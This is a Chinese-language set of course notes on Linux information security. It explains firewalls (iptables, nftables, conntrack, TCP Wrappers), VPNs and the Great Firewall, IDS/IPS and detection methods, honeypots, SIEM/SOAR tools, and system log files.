###### tags:`LSA` `1092` # 資訊安全 - Book mode https://hackmd.io/@ncnu-opensource/book [TOC] ## 資訊安全的種類 [bt の slide](https://docs.google.com/presentation/d/1HaL_D-mfmZBIvsPAQcDwATYgQXVuigweAG6fLcubBdo/edit#slide=id.p) ### 實體安全 - 硬體實際設備之安全 - 設備安置地點之保護 - 電源供應 - 電纜線安全 - 設備維護 - 人員進出管制 ### 資料安全 - 防止重要資料受損遺失或外洩 - 資料備份 - 資料庫防火牆 - **檔案加密** - 檔案監控 - 資料銷毀 - 郵件加密 > [相關新聞](https://today.line.me/tw/v2/article/%E5%80%8B%E8%B3%87%E9%81%AD%E7%AB%8A%E5%8F%88%E4%B8%80%E8%B5%B7%EF%BC%81%E8%BB%8A%E4%B8%8A%E8%BC%89%E6%9C%89%E6%9C%AA%E5%8A%A0%E5%AF%86%E7%A1%AC%E7%A2%9F%E9%81%AD%E7%9B%9C+%E5%93%A1%E5%B7%A5%E5%80%8B%E8%B3%87%E3%80%81%E9%8A%80%E8%A1%8C%E6%95%B8%E6%93%9A%E5%85%A8%E8%A2%AB%E5%81%B7-o3G9oj) ### 社交工程 - 通過與他人的合法交流,來使其心理受到影響,做出某些動作或者是透露一些機密資訊的方式 - 釣魚式攻擊 - 間諜片 - ex : 神鬼交鋒 - bt 救我 QQ :::warning - gpg - veracrypt - netbsd ipsec - elastix - neuralink - greatfire.org - MPLS - bgp watch - DVWA ::: ### 網路安全 - 保護網路並抵禦未經授權的存取或活動 - nmap ![](https://i.imgur.com/SWg8A6q.png) ## firewall 防火牆是一個監控傳入和傳出網路流量的網路安全裝置,並依據規則對進出流量做存取控制, 在 linux 中常見的就是 iptables 與 TCP wrapper iptables 與 tcp wrapper 的關係( iptables --> tcp wrapper --> service ) ![](https://i.imgur.com/zQwvoQl.png) [圖片來源: readhat - TCP Wrappers and xinetd](https://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/ch-tcpwrappers.html) ### 匪區網路長城 Great Firewall(GFW) - 中華人民共和國政府對中國大陸境內的網際網路所建立的審查系統(包括相關行政審查系統)的統稱 - 相關技術 - DNS 汙染 (53 port) - 製造出來的域名伺服器封包,把域名指往不正確的 IP 位址 - 域名挾持 - 劫持部分域名,轉到自己指定的網站 - 封鎖特定 IP - 封包竄改 - 翻牆 - VPN - 虛擬私人網路 (Virtual Private Network) - ![](https://i.imgur.com/oc2uHgL.png) > ㄅ瑋說:要去色ㄙ的網站要用的東東 - 封鎖 VPN 的方法 - 加密連接的 ack 封包有特徵 - 判斷 VPN 的 ack 封包,並阻斷 :::info - 主要原理技術 - Tunneling Protocol (穿隧協議) - 將你原本的封包視為 Data 再重新封裝,變成新的封包傳輸在公用網路中 - Carrier Protocol:用來在網際網路上傳遞封包用的協定 - Encapsulation Protocol:用來包裝原本封包資料用的協定,也就是 Header2 所使用的協議。例如:PPTP、IPsec.... - Passenger Protocol:原本封包資料所使用的協定,也就是 Header1 所使用的協議 - ![](https://i.imgur.com/F34mus8.png) - Encryption & Decryption (加解密技術) - Key management (金鑰管理技術) - Authentication (使用者與設備身分鑑別技術) - 穿隧傳輸技術 - PPTP (Point to Point Tunneling Protocol) - 第一個廣泛使用的 VPN 協議 - 為撥接連線設計 - 使用較弱的加密協議 - OpenVPN - [open source](https://github.com/OpenVPN/openvpn) - 技術核心 : 虛擬網卡、SSL協定 - ![](https://i.imgur.com/ZGZKEkh.png) - 使用 TCP 協定模式時握手會被連接重設,而使用 UDP 協定時含有伺服器認證憑證的封包會被故意丟棄 - IPsec - 使用 Layer3 Network layer - 使用的協定 - Authentication Header (AH) - ![](https://i.imgur.com/QJw7Zqb.png) - 供認證及資料的完整性,但不含機密性 - Encapsulation Security Payload (ESP) - ![](https://i.imgur.com/W9eJJZB.png) - 來源可靠性、完整性和保密性 - Security Associations (SA) - 規範通訊實體之間的安全政策,ex : 兩通訊實體之間的安全協定(AH 或 ESP)、加密演算法等等。 ::: ### 限制存取的方式 - 帳號密碼、權限控管 - 來源限制 - ex : TCP Wrapper - L4 以下防火牆 - ex : iptables (Netfilter) - L7 防火牆 - ex : WAF 防火牆 (Web application firewall) ### Netfilter (封包過濾機制) - ![](https://i.imgur.com/2BAWiFt.png) - is a `framework` provided by the Linux kernel - 由 5 個 `hook` 組成 - ![](https://i.imgur.com/enAxrFY.png) #### packet flow ![](https://i.imgur.com/5tA9yAq.png) > [來源](https://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg) :::info Linux Bridge - 虛擬網路設備,類似 switch - 透過 mac address 傳封包而不是 IP - 虛擬網卡或是已經知道在哪裡 ::: - ebtable - 針對的目標範圍都著重於 Layer2 - Table - broute - 決定封包到底要進行 Layer2 Bridging 或是 Layer3 Routing - filter, nat - Chain - brouting - 通常不太會去設定,而是依賴後續的 Bridging Decision 透過 Mac Address 去決定封包到底該怎麼走 - input, output, forward, prerouting, postrouting > [參考資料](https://www.hwchiu.com/netfilter-eiptables-i.html) #### iptables ![](https://i.imgur.com/XQ4Id78.png) > [圖片來源](https://www.teldat.com/blog/en/nftables-and-netfilter-hooks-via-linux-kernel/) Tables↓/Chains→ | PREROUTING | INPUT | FORWARD | OUTPUT | POSTROUTING ----------------------------- |:----------:|:-----:|:-------:|:------:|:-----------: (routing decision) | | | | ✓ | **raw** | ✓ | | | ✓ | (connection tracking enabled) | ✓ | | | ✓ | **mangle** | ✓ | ✓ | ✓ | ✓ | ✓ **nat** (DNAT) | ✓ | | | ✓ | (routing decision) | ✓ | | | ✓ | **filter** | | ✓ | ✓ | ✓ | **security** | | ✓ | ✓ | ✓ | **nat** (SNAT) | | ✓ | | | ✓ > [資料來源](https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture) - Table - filter - make decisions about whether to let a packet continue to its intended destination or to deny its request - nat - 對於來源或是目的的 IP 地址進行修改的動作 - 只有新建立的連線才會進入到 nat 處理 - NAT 伺服器 ( Network Address Translation) - 內部 LAN 主機的『 IP 分享器』 - POSTROUTING 修改來源 IP ,PREROUTING 修改目標 IP - Source NAT, SNAT - ![](https://i.imgur.com/nQPDtkW.png) > [圖片來源: 鳥哥](http://linux.vbird.org/linux_server/0250simple_firewall.php#tcp_wrappers) - 內部 LAN 連接到 Internet 的使用方式 - 主動分析表頭資料,將此封包轉到可以連接到 Internet 的 Public IP 處 - 透過 iptables 的 NAT table 內的 Postrouting 鏈將封包表頭的來源偽裝成為 Linux 的 Public IP ,並且將兩個不同來源 (192.168.1.100 及 public IP) 的封包對應寫入暫存記憶體當中, 然後將此封包傳送出去 - 收到來自 Internet 的回應封包後,會分析該封包的序號,並比對剛剛記錄到記憶體當中的資料 > MASQUERADE - Destination NAT, DNAT - ![](https://i.imgur.com/BMUCNql.png) > [圖片來源: 鳥哥](http://linux.vbird.org/linux_server/0250simple_firewall.php#tcp_wrappers) - 內部主機想要架設可以讓 Internet 存取的伺服器,有點類似 DMZ - raw - provide a mechanism for marking packets in order to opt-out of connection tracking (管理 conntrack) - ex :大量訪問的 web 服務器,可以讓 80 port 不再讓 iptables 做封包的 conntrack,以提高用戶的訪問速度 - mangle - alter the IP headers of the packet in various ways - ex : adjust the TTL (Time to Live) value of a packet - security - set internal SELinux security context marks on packets :::info - SELinux(Security Enhanced Linux ) - Linux kernel security module - 避免資源的誤用 - 強制存取控制 (Mandatory Access Control, MAC) - 針對特定的程序與特定的檔案資源來進行權限的控管 > redhat > app armor(ㄜ末兒) ::: > [Introduction to iptables](https://www.hwchiu.com/netfilter-eiptables-ii.html) > [A Deep Dive into Iptables and Netfilter Architecture](https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture) #### conntrack - 從封包提取 data flow, tuple, connection 訊息 - 維護所有經過本機的網路連線 - 建立 conntrack table,紀錄連線相關資料 > [詳細資料](https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture) - linux 指令 : `conntrack` ```txt= sudo iptables -A FOREARD -m state --state ESTABLISHED -j ALLOW ``` - `sudo conntrack -L` - ![](https://i.imgur.com/71WUyh9.png) - 欄位 : protocol, [potocol num](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml), ttl (單位:秒), 連接狀態, 目前封包資料, 期待收到封包資料 - `cat /proc/sys/net/nf_conntrack_max` - conntrack 的上限 - ![](https://i.imgur.com/TLHdxPs.png) > [參考資料](https://www.frozentux.net/iptables-tutorial/chunkyhtml/x1309.html) - conntrack & nat - 半開 - ![](https://i.imgur.com/nXWjf4Z.png) - `conntrack -E` - display a real-time event log - ![](https://i.imgur.com/hLDiDv1.png) - 封包資訊 - ![](https://i.imgur.com/F6OsVy4.png) - 預期收到封包的資訊 - ![](https://i.imgur.com/lHQaZPP.png) - `sudo conntrack -L` - List connection tracking or exceptation table - ![](https://i.imgur.com/71WUyh9.png) - nat 的連線狀態更動紀錄 - ```txt= [NEW] tcp 6 120 SYN_SENT src=192.168.2.55 dst=217.254.1.76 sport=50798 dport=443 [UNREPLIED] src=217.254.1.76 dst=193.157.56.3 sport=443 dport=50798 [UPDATE] tcp 6 60 SYN_RECV src=192.168.2.55 dst=217.254.1.76 sport=50798 dport=443 src=217.254.1.76 dst=193.157.56.3 sport=443 dport=50798 [UPDATE] tcp 6 432000 ESTABLISHED src=192.168.2.55 dst=217.254.1.76 sport=50798 dport=443 src=217.254.1.76 dst=193.157.56.3 sport=443 dport=50798 [ASSURED] ``` [詳細資料](https://superuser.com/questions/1269859/linux-netfilter-how-does-connection-tracking-track-connections-changed-by-nat) :::info | State | Explanation | | -------- | -------- | | New | The NEW state tells us that the packet is the **first packet** that we see. This means that the first packet that the conntrack module sees, within a specific connection, will be matched. | |Established|The ESTABLISHED state has seen traffic in both directions and will then continuously match those packets.The only requirement to get into an ESTABLISHED state is that one host sends a packet, and that it later on gets a reply from the other host.| |Related|For a connection to be considered as RELATED, we must **first have a connection that is considered ESTABLISHED**. The ESTABLISHED connection will then spawn a connection outside of the main connection.The newly spawned connection will then be considered RELATED, if the conntrack module is able to understand that it is RELATED.| |Invalid|The INVALID state means that the packet **can't be identified** or that it does not have any state.|| > [詳細資料(英文)](https://www.linuxtopia.org/Linux_Firewall_iptables/x1347.html) [可以拿來輔助的中文資料](https://klose911.github.io/html/iptables/state.html) ::: :::info TTL - ![](https://i.imgur.com/l5KGb65.png) [詳細資料](https://www.frozentux.net/iptables-tutorial/chunkyhtml/x1425.html) - ![](https://i.imgur.com/gqf3jjS.png) - ```txt= cat /proc/sys/net/netfilter/nf_conntrack_tcp_timeout_established ``` - ![](https://i.imgur.com/tvo7KhF.png) - ![](https://i.imgur.com/MfHB8wu.png) - 小盛學長補充 : - 如果是 long connection 要注意 conntrack timeout,避免封包被丟掉 ::: :::info keepalive - 用於監測兩個設備之間的網路連線是否正常,或防止連線中斷 - Keepalive time : 預設值 7200 秒(2 小時) - Keepalive interval : 75 秒 - Keepalive retry : 9 次 - tcp_keepalive_time 的 7200 秒指的是 “idle" connection, 就是兩邊都沒傳資料過兩小時會開始送第一個 tcp probe (探測封包) ::: :::info [ASSURED] - flag tells us that this connection is assured and that it will not be erased if we reach the maximum possible tracked connections - udp - UDP connections are in themselves not stateful connections, but rather stateless. - ![](https://i.imgur.com/pesNYSv.png) - ![](https://i.imgur.com/wjx2yFI.png) - ![](https://i.imgur.com/L3H9pOO.png) [詳細資料](https://www.frozentux.net/iptables-tutorial/chunkyhtml/x1555.html) - tcp - ![](https://i.imgur.com/cNHoMgY.png) - ![](https://i.imgur.com/J56ygon.png) - ![](https://i.imgur.com/40B2THd.png) ::: - `conntrack -E -o timestamp` - ![](https://i.imgur.com/FLStn6T.png) :::info UNIX 時間 (epoch time) - ![](https://i.imgur.com/49HqHxY.png) - 從 1970 年 1 月 1 日 0 時 0 分 0 秒起至現在的總秒數 - 2038 年 1 月 19 日 3 時 14 分 07 秒,32 位元系統的 UNIX 時間將會被重設 ::: #### 各種 table - iptables for IPv4 - ip6tables for IPv6 - arptables for ARP - ebtables for Bridging #### nftables ![](https://i.imgur.com/0UhCEQa.png) > [圖片來源](https://www.teldat.com/blog/en/nftables-and-netfilter-hooks-via-linux-kernel/) - 用來代替 `iptables`, `ip6tables`, `arptables` 和`ebtables` - ip: maps to IPv4 hooks (default) - ip6: maps to IPv6 hooks - inet: maps to both IPv4 and IPv6 hooks - arp: maps to ARP hooks - bridge: maps to bridging hooks - netdev: maps to ingress hook - 在 Linux Kernel 中增加了 **Virtual Machine(VM)** - 可以直接執行 **bytecode**, 並直接偵測並決定封包是否通過 :::info Virtual Machine(VM) 可以幹嘛勒 ? - execute **bytecode** to inspect a network packet and make decisions on how that packet should be handled - (operations implemented by this virtual machine) it can - get data from the packet itself - have a look at the associated metadata (inbound interface, for example) - manage connection tracking data - manipulating sets of data (typically IP addresses) - allowing multiple comparison operations to be replaced with a single set lookup > 用一組查詢取代之前多次比較 > [來源](https://lwn.net/Articles/564095//) ::: :::info 輸入 rules 之後會發生啥事 ? - compiles the ruleset into the VM bytecode - pushes it into the kernel - decompiled it back to its original ruleset - 既然 bytecode 好處多多,為什麼要再轉回來勒 ??? > [來源](https://netfilter.org/projects/nftables/) > bytecode 好處 : 需要資源較少 執行效率較高 ::: :::success bytecode vs binary code - binary code - binary code can be of two kinds : machine code and bytecode - Byte code - 已經經過編譯,但與特定機器碼(machine code)無關,需要直譯器(interpreter)轉譯後才能成為 machine code - `javac test.java` (產生 test.class) -> `java test` (產生 machine code) - test.class -> byte code - Machine code - binary (1’s and 0’s) code that can be directly executable by the computer’s physical processor ::: ```txt= sudo apt install nftables sudo systemctl enable nftables.service sudo apt install iptables-nftables-compat ``` - ![](https://i.imgur.com/i3uC26H.png) ```txt= iptables-translate iptables 的指令 ``` - no predefined default tables and chains - 某些常用的 port 可以替換成文字,例如 80 可以直接寫 http 而不是數字 - iptable 語法 ```txt= ip6tables -A INPUT -p tcp -m multiport --dports 23,80,443 -j ACCEPT ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j ACCEPT ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT ``` - nftables 語法 ```txt= nft add rule ip6 filter input tcp dport {telnet, http, https} accept nft add rule ip6 filter input icmpv6 type { nd-neighbor-solicit, echo-request, nd-router-advert, nd-neighbor-advert } accept ``` ![](https://i.imgur.com/iFxTrSd.png) > [圖片來源](https://wiki.nftables.org/wiki-nftables/index.php/Netfilter_hooks) :::info - Ingress - added in Linux kernel 4.2 - sees packets immediately after they are passed up from the driver, before even prerouting - 流量控制器 TC(Traffic Control) - Egress - queuing scheduling ::: ### TCP Wrappers (程式控管) - 分析 TCP 網路資料封包 - 分析誰對某程式進行存取,然後透過規則去分析該伺服器程式是否能連線 - 與啟動的 port 無關,只與程式的名稱有關 - ex : 你只要知道 ftp 的軟體名稱叫 vsftpd - 由`/etc/hosts.allow`, `/etc/hosts.deny` 管控,伺服器是否能對某程式進行存取 - 有 include `libwrap.so` 的程式 :::info - ldd 服務所在的完整路徑 | grep libwrap - for name in 你要查的服務; do echo $name; ldd $(which $name) | grep libwrap; done ::: ![](https://i.imgur.com/Gp1mXP7.png) ![](https://i.imgur.com/v6sJzdw.png) - /etc/hosts.allow -> /etc/hosts.deny -> 放行 - 格式 - ```text = 服務名稱 : 來源 IP ``` - 只接受 255.255.255.0 這種表示法,不能用 /24 :::info - ALL:全部的 program_name 或者是 IP 都接受 - LOCAL:來自本機,例如: ALL: LOCAL: allow - UNKNOWN:不知道的 IP 或者 domain 或者服務; - KNOWN:可解析的 IP, domain 等等資訊時; ::: - 範例 - (規則) 本機全部的服務都接受, rsync 接受網域 192.168.1.0/24 與 10.0.0.100 其餘皆拒絕 - `/etc/hosts.allow` ```shell= ALL: 127.0.0.1 rsync: 192.168.1.0/255.255.255.0 10.0.0.100 ``` - `/etc/hosts.deny` ```shell= rsync: ALL ``` ### inetd & xinted - inetd - 總管程式 (super daemon):由特殊的 xinetd 或 inetd 這兩個總管程式(super daemon)提供 socket 對應或 port 對應的管理。當沒有用戶要求某 socket 或 port 時, 所需要的服務是不會被啟動的,唯有在需要時才對啟動相對應的 daemon,因此可以省下不少系統資源。 :::info - standalone - 一直運作持續監聽 ::: ![](https://i.imgur.com/cAoaB5i.png) > [圖片來源: 鳥哥](https://www.notion.so/Daemon-bd410deee2b6438ba5ffe2abce443843 | | inetd | standalone | | ------ | ----- | ----- | | 優 | 節省資源 | 反應快 | | 缺 |速度較慢 |消耗資源 | - xinetd - inetd + TCP wrapper,但提供的功能更強 - 可以記錄該服務的使用狀態,也可以記錄錯誤登入的資訊 - 雖然 `/etc/hosts.allow`, `/etc/hosts.deny` 已經被整合到 xinetd 裡面了,不過要獲得更多的功能,還是得要安裝 tcp_wrappers - 支援對 TCP、UDP、RPC 服務(但是當前對 RPC 的支援尚不夠穩定) - 優點 - 可以限制一個 IP 的最大連接數及日誌文件的大小 -> 防止 DOS 攻擊 - 原本不支援也可以用 - 先過濾再決定是否開 port :::info - RPC - 解決分布式系統中,服務之間的調用問題 - 遠程調用時,要能夠像本地調用一樣方便,讓調用者感知不到遠程調用的邏輯 > 原文網址:https://kknews.cc/news/yz3mjma.html ::: ![](https://i.imgur.com/P9zrLE6.png) > standalone 依記憶體大小決定是否用 inetd,不過現在記憶體很夠,所以不用也可以? > https://www.huaweicloud.com/articles/db1f09300ad8065f4f9cf4348509272f.html :::danger CentOS 7 (2014) 後被 systemd 取代 - 平行處理,加速開機流程 - daemon 功能分類 - 舊 : stand alone, super daemon - 新 : service, socket, target, path, snapshot, timer 等 - 自動檢查服務相依性 - ex : B 服務是架構在 A 服務上,幫你啟動 B 服務時,systemd 會自動啟動 A 服務 ![](https://i.imgur.com/KgiyQ84.png) ::: ### WAF 防火牆 ![](https://i.imgur.com/zXYcoVK.png) - 防禦針對網頁應用程式的常見攻擊 - ex : OWASP Top 10 - 對 異常連線的過慮(阻擋DDoS攻擊、緩解殭屍網路攻擊)、黑/白名單 #### 網路型 WAF (硬體) - 獨立系統 - 價格就較高,需要建置成本 - 故障也不會影響到網站的運作 #### 主機型 WAF (軟體) - 客製化空間較大 - 須佔用主機的資源 - 故障可能導致主機無法運作 #### 雲端型 WAF - 通常提供周全的安裝 - 預付費用最低 - 完全由服務提供商管理 ## IDS & IPS 網路空間 : 大樓 防火牆 : 大門,隔離內外網或不同安全域 DMZ : 大廳、會客室(獨立空間) IDS : 保全系統,當有問題發生時及時紀錄 IPS : 警衛,能夠根據經驗主動發現問題並採取措施 ### 入侵偵測 IDS #### 主機型入侵偵測系統(Host-based Intrusion Detection System,HIDS) ![](https://i.imgur.com/Hcz0WIH.png) > [圖片來源](http://www.netqna.com/2014/04/host-based-intrusion-detection-system.html) - 安裝在主機端上 - 檢查**主機上可疑的用戶和軟體活動** - 針對主機中的檔案系統、日誌檔案、程式或是其它的系統呼叫行程等進行監控 - 分析 Log 為主 - 在己知乾淨狀態下對所有重要檔案算出 hash 值,並在事後重複此動作並比較其值,若發現遭變更即通報 > 其中一種手法 - 可以偵測到主機上是否安全的傳遞資料,包含已加密的資料 - 優點: - 不需額外增加硬體設備 - 缺點: - 消耗系統資源 - 每個作業系統各有不同的稽核紀錄檔,因此必須針對不同主機安裝各種 HIDS #### 網路型入侵偵測系統(Network-based Intrusion Detection System,NIDS) ![](https://i.imgur.com/Ruppdgd.png) > [圖片來源](http://www.netqna.com/2014/04/network-based-intrusion-detection-system.html) - 針對網絡上的一些存在漏洞系統做檢查,主要是**檢查封包流量** - 可監視一網路區段的實體裝置,通常不具 ip 與 mac address ,可能包含在如 hub, router, repeater, switch 內 :::info - repeater - 將輸入訊號增強放大的裝置 - 加強纜線上的訊號,把訊號送得更遠,以延展網路長度 ::: - 啟動時會將網卡的工作模式強制轉換到 Promiscuous 模式來接收所有的封包 - Promiscuous 模式 (混雜模式) - 有線 & 無線網卡 - 強制地將流經該網卡的所有封包資訊接收下來 - 一般在網管人員分析網絡數據時會用到,同時這個模式也被網絡黑客利用來作為網絡數據竊聽 > 監聽範圍內的網路(已經連上 AP 了) :::info - 一般模式 - 只有需要該封包的主機才會接收下來 - monitor 模式 (監聽模式) - 無線網卡 - 無線網路監聽區段的所有封包 - 不需要 AP - AP (Access Point) - 一種連接無線網路至有線網路的裝置 -> 無線基地台 > 甚麼封包都聽,不同網路也聽 ::: - 由一個或多個偵測器(switch),加上收集與分析資料的主控臺(專門的機器)所組成 - 監控與分析網路上的所有封包,但僅能分析到網路第三層的封包 - 佈署在外網跟內網之間,分析各網段的封包流量 - 但也可以安裝在 - 放在防火牆外 - 能夠看到所有來自 Internet 的攻擊者對系統的各種攻擊手段 - 負荷會加重,且有可能被打掛 - 放在防火牆內 - 減低 NIDS 的負擔,專注於分析高水準的攻擊 - 免於遭受攻擊 - 優點: - 可偵測到未成功或惡意的入侵攻擊 - 不會增加網段中主機的負擔 - 缺點: - 網路封包流量過大會 lost 許多封包 - 無法調查加密過封包 ### 入侵防護 IPS - 透過解析 TCP/IP 網路封包建立資料庫,提供第四到第七層網路封包的異常偵測層級(傳統防火牆只能控管 Layer 2 - 4 ) - ![](https://i.imgur.com/2pzG9cQ.png) - 透過資料庫內的動態黑名單進行 IP、URL 及 Domain 等資訊比對,Drop 網路封包以降低佔用系統資源 - 透過存取控制列表將不同屬性的網路流量進行分類處理,例如黑名單、白名單及須檢測之網路流量 - 將須檢測之網路流量導入 Intrusion Rule 進行深入檢測 - snort > 資料來源: [入侵偵測防禦最前線](http://www.cc.ntu.edu.tw/chinese/epaper/0054/20200920_5406.html) - NIPS - 網路之間或網路組成部分之間的獨立的硬體裝置,切斷交通,對過往包裹進行深層檢查 - 保護網路 - 藉助病毒特徵和協定異常,阻止有害程式碼傳播 :::info 病毒碼(Virus) - Prepending - 病毒拷貝自己的程式碼到目標文件頭的地方 - ![](https://i.imgur.com/F2Ff1p0.png) - Appending - 病毒拷貝自己的程式碼到目標文件尾部的地方 - ![](https://i.imgur.com/k9T9ddy.png) - Cavity - 病毒感染文件的位置是在中間,也就是文件未使用的區域,並更改 entry point - ![](https://i.imgur.com/xGyv8SW.png) > hexdump ::: - HIPS - 利用進階行為分析再加上網路過濾的偵測能力,可監視執行中的程序、檔案 - 保護機器 - 若發現異常封包會直接丟棄 - ex : 當某 process 運行的時候,試圖調用系統的一些其他的資源,這個行為會被 HIPS 檢測到,然後彈出警告詢問用戶是否允許運行 ::: info - 攻擊者鎖定目標後的動作 - 對這台電腦 Ping,確定 ip address - scan 這台電腦目前開放的 port - 確定每個 port 開啟的服務並測試作業系統及版本等相關資訊 - 利用軟體或存取管制的漏洞入侵電腦 - IPS : - 收到有人對它做 Ping 或 Scan 的動作時,直接 drop 封包 > [utm thread](https://zh.wikipedia.org/wiki/%E6%95%B4%E5%90%88%E5%BC%8F%E5%A8%81%E8%84%85%E7%AE%A1%E7%90%86) ::: ### 偵測方法 - signature recognition 特徵偵測 - 定義惡意程式特徵,一旦比對到就警告 - 優點: 較不容易誤判, 且識別攻擊較明確, 可辨識己知惡意事件 - 缺點: 需時常更新特徵 - Misuse detection 不當行為偵測 - 須使用己知惡意行為與型態資料庫來進行比對分析 - anomaly detection 異常偵測 - 定義正常情況,若超出正常情況的範圍就警告 - 優點: 可抓到未知特徵之攻擊,適合輔助 - 缺點: 誤判率較高,且定義正常情況較複雜 :::info 怎麼做到定義正常情況的? - 傳統統計型 - 通過統計手法找出一些變化的規律(函數、模型) - 機器學習型 - - 無監督異常檢測 - 尋找與其他資料最不匹配的實例來檢測出未標記測試資料的異常 - ![](https://i.imgur.com/AbwlFP4.png) - 監督式異常檢測 - 需要一個已經被標記「正常」與「異常」的資料集 ::: > [資料來源](http://systw.net/note/af/sblog/more.php?id=5) :::info - 蜜罐(Honeypot) - ![](https://i.imgur.com/qmFHXuQ.png) - 對攻擊者釣魚 - 引誘攻擊以取得攻擊者的資訊及模式 - 用來偵測、防禦一些未經過授權和像是攻擊者的攻擊 - 監視網路攻擊者的行蹤 - 分析網路攻擊者目前擁有那些攻擊技術 - 應用(以殭屍網路為例) - 一般殭屍病毒或惡意程式入侵前,會先對固定幾個 Port 掃描尋找入侵的弱點 - 架設一臺具誘捕功能的 HoneyPot,啟動後完全不開啟任何服務或只提供少量服務 - 收到不明主機的 Port 掃描時,就代表對方很有可能是一臺掃瞄器 > [資料來源](https://ithelp.ithome.com.tw/articles/10193941) ::: ### IDS V.S. IPS ||IDS|IPS| |:-------:|:---:|:---:| |防禦方式|被動監聽|被動監聽+主動防禦| |防禦動作|通知防火牆 TCP reset 並中斷連線|丟棄惡意封包、中斷連線| |優點|可做深層資料分析或數位證據|能夠主動地將符合資格的攻擊行為立即切斷,讓攻擊尚未達成前就立即阻擋| |缺點|log 太多也沒空看|誤判的話易造成損失 一部分會自動化,所以相對來說比較少| ### 整理 log 的工具 #### SIEM (Security information and event management) - 將 log 檔做正規化轉換,進行相關資安事件的分析,並且給予處理建議 - ![](https://i.imgur.com/8TrCMg8.jpg) - [OSSIM](https://cybersecurity.att.com/products/ossim) (Open Source Security Information Management) - 流量管理: ntop, netflow - 入侵偵測: snort, ossec - 弱點掃描: openvas, nessus - 可用性: nagios3 - 變更管理: arpwatch, P0f, Pads - 無線網路管理: kismet - [Datadog](https://www.datadoghq.com/pricing/)(DDOG) - Metrics - Infrastructure Metrics,例如:CPU/Memory使用率 - Trace - Application的追蹤紀錄。例如:Request Error rate - Log - ELK - ElasticSearch、Logstash 和 Kibana 這三個開源軟體的集合套件 - ![](https://i.imgur.com/IMsCZQF.png) - graylog(greylog) - 開源的紀錄集中管理系統,可以集中管理各個應用程式的執行 Log,並且帶有強大的查詢功能 #### SOAR (Security orchestration, automation and response) - SIEM的自動化強化版本 - 大部分的資訊安全分析作業自動化到一定範圍,然後把不同的資料提取成有用資訊 - 降低 MTTR 時間(平均系統從故障到回復運作的時間) - 例如: - Splunk Phantom - 2018 年 10 月推出 - 安排事件處理流程的自動化劇本(Playbook Automation),以及回應和協作的資源調度管理機制 - 圖像化的流程編輯器 - IBM Resilient - "It is very expensive." ### 常見的 IDS & IPS open source 軟體 - snort - NIDS/IPS - Fail2ban - HIPS - 防止(偵測)暴力攻擊 - 禁止超過多次失敗連線的 IP 之後的連線 - 一段時間後該 IP 就能再次連線(時間長度可以自行設定) - Suricata - IDS/IPS - 比 Snort 可以支援更高的流量 - Bro (Zeek) - NIDS - 網路流量分析的框架 - OSSEC - HIDS - 功能最全面的 HIDS ### 各種防禦機制作用的 layer ![](https://i.imgur.com/ylZozZv.png) ### log 分析 - 什麼是 log - 記錄曾經發生過的重要事件 - 系統在什麼時候由哪個程序做了什麼樣的行為時,發生了何種的事件... - 用來除錯、效能調教、稽核追蹤、了解現況... - 通常會有時間、主機、服務/函式、事件描述等訊息 #### rsyslog - 產生 : `rsyslog.service` ![](https://i.imgur.com/AEYxJQS.png) - 設定檔 : `/etc/rsyslog.conf` & `/etc/rsyslog.d/50-default.conf` & `/etc/rsyslog.d/20-ufw.conf` - rsyslog 的相關設定檔,設定哪些訊息需要記錄,儲存在甚麼地方 - 服務名稱[.=!]訊息等級 訊息紀錄的位置 ![](https://i.imgur.com/rjZkvNv.png) > ubuntu `50-default.conf` - 服務名稱 : - kern (0) - user (1) - mail (2) - daemon (3) : 守護進程產生的日誌 - syslog (5) - lpr (6) : 印表機相關 - news (7) : nntp (網路新聞傳輸協定) - cron (8) - authpriv (9) - ftp (10) - local0 through local7 (16 - 23) - 訊息等級 : - debug (7) - info (6) - notice (5) - warning (4) - err (3) - crit (2) - alert (1) - emerg (0) - 連結符號 - `.` : >=,比後面還要嚴重的等級 (含該等級) 都被記錄下來 - `.=` : =,僅記錄該等級的訊息 - `.!` : . 的相反,忽略大於等於這個等級的訊息 - 位置 - 檔案的絕對路徑:通常就是放在 /var/log - 印表機或其他:像是 /dev/lp0 - 遠端主機:需要對方也有支援 - *:代表『目前在線上的所有人』,類似 command`wall` :::info 檔案前的 `-` 是幹麻用的? 對應的檔案訊息很大量,因此會先存入 buffer,再大量寫入 優點:益於存取性能 缺點:不正常關機可能導致部份 log 還未寫入 > [name=歐芷] ::: 參考資料 : [rsyslog 介紹](https://medium.com/pizzas/rsyslog%E4%BB%8B%E7%B4%B9%E8%88%87%E4%BD%BF%E7%94%A8-cfb36497092d) - `/var/log/syslog` - all global system activity data - Red Hat-based systems : `/var/log/messages` ![](https://i.imgur.com/MjqcOBg.png) ![](https://i.imgur.com/qSXWC3G.png) * example : ![](https://i.imgur.com/KqD99QT.png) - `/var/log/auth.log` - security-related events - 各種服務的登入紀錄 ex : 誰啥時用什麼方法登入xxx成功/失敗 - Red Hat and CentOS : `/var/log/secure` ![](https://i.imgur.com/NJIWREd.png) ![](https://i.imgur.com/Pu62BHs.png) #### 登錄相關 log 檔 - 設定檔 : - `/usr/include/utmp.h` - `/usr/include/x86_64-linux-gnu/bits/utmp.h` - `/var/log/lastlog` - 記錄最近一次的登入紀錄 - command : `lastlog` ![](https://i.imgur.com/RgHd9Fs.png) > 誰 port 從哪裡登入 什麼時後登入的(如果有不認識的 ip 就完蛋惹) > 茂林大大 say : 如果要看 lastlog 從哪裡來,可以用 man lastlog 來看看 - `/var/log/wtmp` - 成功登錄清單 - command : `last` ![](https://i.imgur.com/eJflcVP.png) - `man last` : 查看相關說明 - `/var/log/btmp` - 錯誤登入清單 - command : `lastb` ![](https://i.imgur.com/7jhUg8P.png) - `/var/log/utmp` - 目前登入的使用者資訊 - command : `who`、`w` ![](https://i.imgur.com/2GmhftQ.png) :::info who : 